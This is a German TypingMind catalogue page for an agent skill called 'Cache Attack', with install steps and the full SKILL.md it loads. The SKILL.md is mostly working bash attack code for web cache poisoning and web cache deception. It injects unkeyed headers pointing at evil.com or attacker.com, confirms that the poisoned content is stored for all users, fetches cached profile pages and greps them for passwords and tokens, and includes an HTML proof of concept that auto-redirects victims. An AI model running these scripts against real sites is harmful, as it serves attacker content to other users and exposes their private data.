Logo von Cache Attack

Cache Attack

CommunityBeliebt
uphiago
cache-attack

Poison CDN cache or deceive when X-Cache header is detected.

Add to TypingMind

Übersicht

Herausgeberuphiago
Repositoryrecon-skills
Skill-Namecache-attack
Sterne
1.3K
Forks
213
Mitgelieferte Dateien
Nur Anweisungen
LizenzMIT
Links
  • Anweisungen in Markdown

    Eine SKILL.md-Datei, die das Modell bei Bedarf lädt. So werden nur dann Token verbraucht, wenn eine Anfrage tatsächlich dazu passt.

  • Funktioniert mit jedem LLM

    KI-Skills bestehen aus reinem Markdown, nicht aus anbieterspezifischem Code. Daher funktionieren sie mit GPT, Claude, Gemini, Grok oder einem lokalen Modell.

  • In sich abgeschlossen

    Alles, was das Modell braucht, steht in den Anweisungen — keine zusätzlichen Dateien zum Synchronisieren.

  • Open Source

    Von uphiago auf GitHub veröffentlicht. Prüfen Sie vor der Installation die Quelldateien.

Installation

Installieren Sie den KI-Skill Cache Attack in TypingMind, um ihn mit jedem LLM zu nutzen, oder fügen Sie ihn einem anderen Agenten hinzu, der SKILL.md lesen kann.

1

In TypingMind installieren

TypingMind installiert einen Skill direkt aus seinem GitHub-Ordner. Dabei liest die App SKILL.md, bündelt die Ressourcendateien und speichert das Ergebnis lokal.

  1. Öffnen Sie die App und gehen Sie zu Plugins → Skills.
  2. Wählen Sie „Von GitHub installieren“.
  3. Fügen Sie die unten angegebene URL des Skill-Ordners ein und bestätigen Sie.
    https://github.com/uphiago/recon-skills/tree/main/recon/cache-attack
  4. Aktivieren Sie den Skill in jedem Chat, in dem er verfügbar sein soll.
Plugins → Skills → Skill hinzufügen → Über GitHub-URL. Fügen Sie dann die Ordner-URL ein und klicken Sie auf „Weiter“.
2

In einem anderen Agenten installieren

Jeder Agent, der das Agent-Skills-Format unterstützt, kann diesen Skill nutzen. Kopieren Sie den Ordner in das Skill-Verzeichnis des jeweiligen Agenten.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/uphiago/recon-skills.git /tmp/recon-skills
mkdir -p .claude/skills
cp -r /tmp/recon-skills/recon/cache-attack .claude/skills/cache-attack
Starten Sie Claude Code nach dem Kopieren neu, damit der neue Skill erkannt wird.

In TypingMind verwenden

Aktivieren Sie Cache Attack in einem beliebigen Chat in TypingMind. Den Rest übernimmt das Modell. Name und Beschreibung des Skills stehen im System-Prompt. Sobald eine Anfrage passt, lädt das Modell selbstständig die vollständigen Anweisungen — Sie müssen den Skill nie manuell aufrufen, und er verbraucht erst Token, wenn er tatsächlich genutzt wird.

Das Modell lädt Cache Attack automatisch, sobald eine passende Anfrage gestellt wird.

Funktioniert mit jedem KI-Modell

KI-Skills bestehen aus reinen Markdown-Anweisungen statt aus anbieterspezifischem Code. Daher ist Cache Attack nicht an das Modell gebunden, für das der Skill geschrieben wurde. Installieren Sie ihn einmal in TypingMind und nutzen Sie ihn mit GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama oder einem selbst betriebenen lokalen Modell — alles mit Ihren eigenen API-Schlüsseln.

  • Wird nur bei Bedarf geladen

    Der System-Prompt enthält nur den Namen und die Beschreibung. Die Anweisungen werden bei der ersten passenden Anfrage geladen. Ein ungenutzter Skill verursacht daher keine Kosten.

  • Modell im laufenden Chat wechseln

    Da der Skill aus Anweisungen statt aus Code besteht, funktioniert er auch nach einem Modellwechsel — das nächste Modell liest dieselbe SKILL.md-Datei.

Skill-Anweisungen

Dies ist der Inhalt von SKILL.md, den das Modell lädt. Lesen Sie ihn vor der Installation — ein Skill besteht aus Anweisungen, denen Ihr Modell folgt.

Cache Attack Skill

Web Cache Poisoning (WCP) and Web Cache Deception (WCD) methodology. WCP poisons cached pages with malicious content served to other users. WCD tricks the cache into storing sensitive pages that the attacker can then read. Both techniques exploit CDN and reverse-proxy caching behavior on CloudFront, Cloudflare, Fastly, Varnish, and Nginx.

When to Use

  • Target uses a CDN (CloudFront, Cloudflare, Fastly) or reverse proxy (Varnish, Nginx cache).
  • Headers show X-Cache, Age, cf-cache-status, or X-Cache-Hits.
  • After surface recon finds no direct vulnerabilities — pivot to infrastructure layer.
  • Target allows file extension manipulation in URL paths (.css, .json, .js).

Prerequisites

  • terminal with curl.
  • Cache buster parameter for safe testing (?cb=RANDOM).
  • Patience: cache poisoning requires precise timing and may need multiple attempts.

How to Run

bash
# Phase 1: Detect cache
curl --max-time 30 --connect-timeout 10 -skI "https://TARGET/" | grep -iE "age|x-cache|cf-cache-status|via|server"

# Phase 2: Test cache storage (two identical requests)
curl --max-time 30 --connect-timeout 10 -skI "https://TARGET/?cb=TEST1" | grep -iE "x-cache|cf-cache-status"
curl --max-time 30 --connect-timeout 10 -skI "https://TARGET/?cb=TEST1" | grep -iE "x-cache|cf-cache-status"
# Second response should show HIT if caching works

# Phase 3: Test unkeyed header reflection
curl --max-time 30 --connect-timeout 10 -skI "https://TARGET/" -H "X-Forwarded-Host: evil.com" | grep -i "location\|evil.com"

Quick Reference

Web Cache Poisoning (WCP) — attacker poisons cache for victims

Reflection LocationImpactSeverity
<link rel="canonical">SEO poisoningMedium
<script src="...">XSS (stored in cache)Critical
<meta property="og:url">Phishing (link preview)High
Location: headerMass open redirectHigh
<form action="...">Credential theftHigh
<link rel="stylesheet">CSS injectionMedium

Web Cache Deception (WCD) — victim's sensitive page cached, attacker reads it

TechniqueExampleSeverity
Extension forcing/profile.php/.cssCritical
Path delimiter/profile.php;.cssCritical
Query string/profile?cb=123.cssHigh
URL encoding/profile%2f..%2findex.cssHigh

Procedure

Phase 1 — Detect Cache

bash
TARGET="$1"

echo "[*] Cache detection on $TARGET"

# Check for cache headers
RESP=$(curl -skI --max-time 10 --connect-timeout 10 "https://$TARGET/" 2>/dev/null)

echo "Cache headers:"
echo "$RESP" | grep -iE "age|x-cache|cf-cache-status|via|x-served-by|x-cache-hits|x-timer|server"

# Deduce CDN
if echo "$RESP" | grep -qi "cloudfront"; then
  echo "[+] CloudFront detected — test WCD with path delimiter tricks"
elif echo "$RESP" | grep -qi "cloudflare"; then
  echo "[+] Cloudflare detected — test WCP with unkeyed headers"
elif echo "$RESP" | grep -qi "varnish\|x-cache"; then
  echo "[+] Varnish detected — test WCD with extension forcing"
elif echo "$RESP" | grep -qi "akamai"; then
  echo "[+] Akamai detected — test WCP with X-Forwarded-Host"
fi

# Confirm caching with two identical requests
echo ""
echo "[*] Cache storage test:"
CACHE_BUSTER="cb=$(date +%s)"

echo -n "  Request 1: "
curl --max-time 30 --connect-timeout 10 -sk -o /dev/null -w "%{http_code}" "https://$TARGET/?$CACHE_BUSTER" -H "X-Cache-Debug: 1"
echo ""
sleep 2

echo -n "  Request 2: "
curl --max-time 30 --connect-timeout 10 -sk -o /dev/null -w "X-Cache: %header{x-cache} | Age: %header{age}" "https://$TARGET/?$CACHE_BUSTER" 2>/dev/null
echo ""

# Test Age increment on repeated requests (no cache buster)
echo ""
echo -n "  Request 1 (no cb): "
AGE1=$(curl -skI "https://$TARGET/" 2>/dev/null | grep -i "^age:" | awk '{print $2}' | tr -d '\r')
echo "Age: ${AGE1:-none}"

sleep 3
echo -n "  Request 2 (no cb): "
AGE2=$(curl -skI "https://$TARGET/" 2>/dev/null | grep -i "^age:" | awk '{print $2}' | tr -d '\r')
echo "Age: ${AGE2:-none}"

if [[ -n "$AGE1" && -n "$AGE2" && "$AGE2" -gt "$AGE1" ]]; then
  echo "  [+] Age increments confirmed — cache is STORING responses"
fi

Phase 2 — Find Unkeyed Inputs (WCP)

bash
TARGET="$1"
CACHE_BUSTER="cb=$(date +%s)"

# 15 unkeyed headers to test
UNKEYED_HEADERS=(
  "X-Forwarded-Host: evil.com"
  "X-Forwarded-Scheme: http"
  "X-Forwarded-For: 127.0.0.1"
  "X-Host: evil.com"
  "X-Original-URL: /admin"
  "X-Rewrite-URL: /admin"
  "Forwarded: for=evil.com"
  "X-Forwarded-Port: 8443"
  "X-Amz-Website-Redirect-Location: /malicious"
  "X-HTTP-Method-Override: POST"
  "X-HTTP-Method: DELETE"
  "X-Method-Override: PUT"
)

echo "[*] Testing ${#UNKEYED_HEADERS[@]} unkeyed headers..."

for header in "${UNKEYED_HEADERS[@]}"; do
  key=$(echo "$header" | cut -d: -f1)
  value=$(echo "$header" | cut -d: -f2- | xargs)

  resp=$(curl -skI --max-time 10 --connect-timeout 10 "https://$TARGET/?$CACHE_BUSTER" -H "$header" 2>/dev/null)
  if echo "$resp" | grep -qi "$value"; then
    echo "  [REFLECTED] $key: $value"
    echo "    $(echo "$resp" | grep -i "location\|$value" | head -1)"
  fi
done

Phase 3 — Prove Cache Storage (WCP)

bash
TARGET="$1"
MALICIOUS="evil.com"
PAYLOAD="x-forwarded-host: $MALICIOUS"
CACHE_BUSTER="cb=POISON_TEST_$(date +%s)"

echo "[*] Cache poisoning test with $PAYLOAD"

# Step 1: Poison — send request with malicious header
echo "[1] Poisoning cache..."
POISON_RESP=$(curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/?$CACHE_BUSTER" -H "$PAYLOAD" -o /dev/null -w "%{http_code}" 2>/dev/null)
echo "  Poison request: HTTP $POISON_RESP"

sleep 2

# Step 2: Confirm cache HIT
echo "[2] Checking cache..."
CACHE_HIT=$(curl -skI "https://$TARGET/?$CACHE_BUSTER" 2>/dev/null | grep -i "x-cache.*hit\|cf-cache-status.*HIT")
if [[ -n "$CACHE_HIT" ]]; then
  echo "  [+] Cache HIT confirmed: $CACHE_HIT"

  # Step 3: Read cached response (without the header)
  echo "[3] Reading cached response..."
  CACHED=$(curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/?$CACHE_BUSTER" 2>/dev/null)
  if echo "$CACHED" | grep -q "$MALICIOUS"; then
    echo "  [CRITICAL] POISON STORED IN CACHE!"
    echo "  Malicious content served to all users of this URL"
  else
    echo "  [-] Poison not stored (header is keyed or response doesn't reflect)"
  fi
else
  echo "  [-] Cache MISS — response not cached"
fi

Phase 4 — Web Cache Deception (WCD)

bash
TARGET="$1"
SENSITIVE_URL="$2"  # e.g., /profile or /wp-json/wp/v2/users

echo "[*] WCD test on $TARGET"

# Test extension forcing
for ext in ".css" ".js" ".json" ".png" ".ico"; do
  WCD_URL="${SENSITIVE_URL}${ext}"
  echo "  Testing: $WCD_URL"

  # Step 1: Force cache with fake static extension
  curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET$WCD_URL" -H "X-Forwarded-Host: attacker.com" \
    -H "Accept: text/css,*/*" -o /tmp/wcd_test_$$.txt 2>/dev/null

  # Step 2: Check if sensitive data was cached
  CACHE_CHECK=$(curl -skI "https://$TARGET$WCD_URL" 2>/dev/null | grep -i "x-cache.*hit\|cf-cache-status.*HIT")
  if [[ -n "$CACHE_CHECK" ]]; then
    echo "  [CRITICAL] $WCD_URL CACHED — sensitive data stored!"

    # Check content
    if grep -qiE "email|password|token|user|auth" /tmp/wcd_test_$$.txt; then
      echo "  [CRITICAL] SENSITIVE DATA IN CACHED RESPONSE!"
      head -5 /tmp/wcd_test_$$.txt
    fi
  fi
  rm -f /tmp/wcd_test_$$.txt
  sleep 0.5
done

# Test path delimiter tricks
for delim in ";.css" "%2f..%2findex.css" "..;.css"; do
  WCD_URL="${SENSITIVE_URL}${delim}"
  code=$(curl --max-time 30 --connect-timeout 10 -sk -o /dev/null -w "%{http_code}" "https://$TARGET$WCD_URL" 2>/dev/null)
  [[ "$code" != "404" ]] && echo "  [POTENTIAL] $WCD_URL → HTTP $code"
  sleep 0.3
done

Phase 5 — SameSite Lax Bypass + WCD Combo

bash
# If the target uses SameSite=Lax cookies, WCD alone won't work because
# cookies aren't sent on cross-site requests. But SameSite=Lax sends
# cookies on TOP-LEVEL NAVIGATION (meta refresh, anchor click, form GET).

# Combo payload:
cat > wcd_samesite_poc.html << 'HTMLEOF'
<html>
<head>
  <!-- Victim visits this page, auto-redirects to WCD URL with cookies -->
  <meta http-equiv="refresh" content="0; url=https://TARGET/profile.php/.css">
</head>
<body>
  <p>Redirecting...</p>
  <!-- Backup: anchor tag if meta refresh fails -->
  <a id="fallback" href="https://TARGET/profile.php/.css">Click here</a>
  <script>document.getElementById('fallback').click();</script>
</body>
</html>
HTMLEOF

echo "[+] WCD + SameSite bypass PoC saved to wcd_samesite_poc.html"

Pitfalls

  • Reflection ≠ cache poisoning. Just because a header is reflected doesn't mean it's CACHED. Always prove storage with a second request.
  • Cache buster is mandatory. Never test without a unique cache buster per test, or you'll poison real user cache.
  • Cache Key Normalization. CDNs may normalize URLs before caching. Test case variations, trailing slashes, and ignored parameters.
  • Fat GET smuggling. Some CDNs accept 4000+ character query strings. The oversized request may be handled differently by origin vs cache.
  • Parameter Cloaking. Duplicate parameters (e.g., ?p=1&p=2) may cause cache key confusion.

Verification

  • WCP: Second request to the poisoned URL (without malicious header) MUST serve the poisoned content.
  • WCD: Cached response MUST contain sensitive user data (PII, session tokens, API responses).
  • Cache HIT MUST be confirmed via X-Cache: Hit or cf-cache-status: HIT header.
  • Always restore clean state: flush your test cache entries after verification.

Häufig gestellte Fragen

Was macht der KI-Skill Cache Attack?

Poison CDN cache or deceive when X-Cache header is detected.

Warum Cache Attack in TypingMind nutzen?

Weil Sie den Skill einmal installieren und mit jedem Modell verwenden können. Cache Attack besteht aus reinem Markdown statt aus anbieterspezifischem Code. So funktioniert derselbe Skill mit GPT-5, Claude, Gemini, Grok oder einem lokalen Modell – und Sie können das Modell mitten im Chat wechseln, ohne dass der Skill seine Funktion verliert. TypingMind verwendet Ihre eigenen API-Schlüssel. Sie bezahlen die Anbieter daher direkt statt über ein Abonnement pro Nutzerplatz, und Ihre Skills und Chats bleiben in Ihrem eigenen Speicher.

Wie installiere ich Cache Attack in TypingMind?

Öffnen Sie in TypingMind Plugins → Skills → Von GitHub installieren und fügen Sie https://github.com/uphiago/recon-skills/tree/main/recon/cache-attack ein. TypingMind liest die Datei SKILL.md und installiert den Skill, den Sie für jeden Chat einzeln aktivieren können.

Welche KI-Modelle können Cache Attack nutzen?

Jedes Modell, das Sie mit TypingMind verbinden. KI-Skills bestehen aus reinen Markdown-Anweisungen statt aus anbieterspezifischem Code. Daher können GPT, Claude, Gemini, Grok und lokale Modelle diesen Skill laden, wenn eine Anfrage dazu passt.

Wie viele KI-Modelle kann ich mit Cache Attack verwenden?

So viele Sie möchten. In TypingMind können Sie Cache Attack mit jedem Modell verwenden, das Skills unterstützt, etwa mit GPT, Claude, Gemini, Grok, DeepSeek, Mistral oder Llama. Dabei nutzen Sie Ihre eigenen API-Schlüssel.

Ist der KI-Skill Cache Attack kostenlos?

Ja. Der Skill wird von uphiago auf GitHub unter der Lizenz MIT veröffentlicht. Sie bezahlen nur Ihren eigenen KI-Anbieter für die verwendeten Token.

Was sind KI-Skills?

Ein KI-Skill ist ein wiederverwendbares Anweisungspaket, das einem KI-Modell vermittelt, wie es eine bestimmte Aufgabe erledigt. Es folgt dem offenen Format Agent Skills: Die Datei SKILL.md enthält den Namen und die Beschreibung des Skills. Hinzu kommen bei Bedarf Skripte, Vorlagen oder Referenzdateien für das Modell. Das Modell liest die Anweisungen nur, wenn Ihre Anfrage zum Skill passt. Ein installierter Skill verursacht daher erst Kosten, wenn er verwendet wird.

Wie unterscheiden sich KI-Skills von Plugins oder MCP-Servern?

Ein Plugin oder MCP-Server stellt einem Modell neue aufrufbare Tools bereit – Code, der auf einem System ausgeführt wird und ein Ergebnis zurückgibt. Ein KI-Skill vermittelt dem Modell stattdessen Wissen und Vorgehensweisen: wie es eine Aufgabe angeht, welche Schritte es befolgt und wie eine gute Ausgabe aussieht. Skills bestehen aus reinem Markdown und kommen daher ohne Server, API-Schlüssel und Laufzeitumgebung aus. Sie funktionieren mit jedem Modell.

Alle anzeigen

Jetzt eigenen KI-Arbeitsbereich einrichten

Abonnieren Sie unseren Newsletter und erfahren Sie mehr über neue Funktionen und kommende Gewinnspiele 👇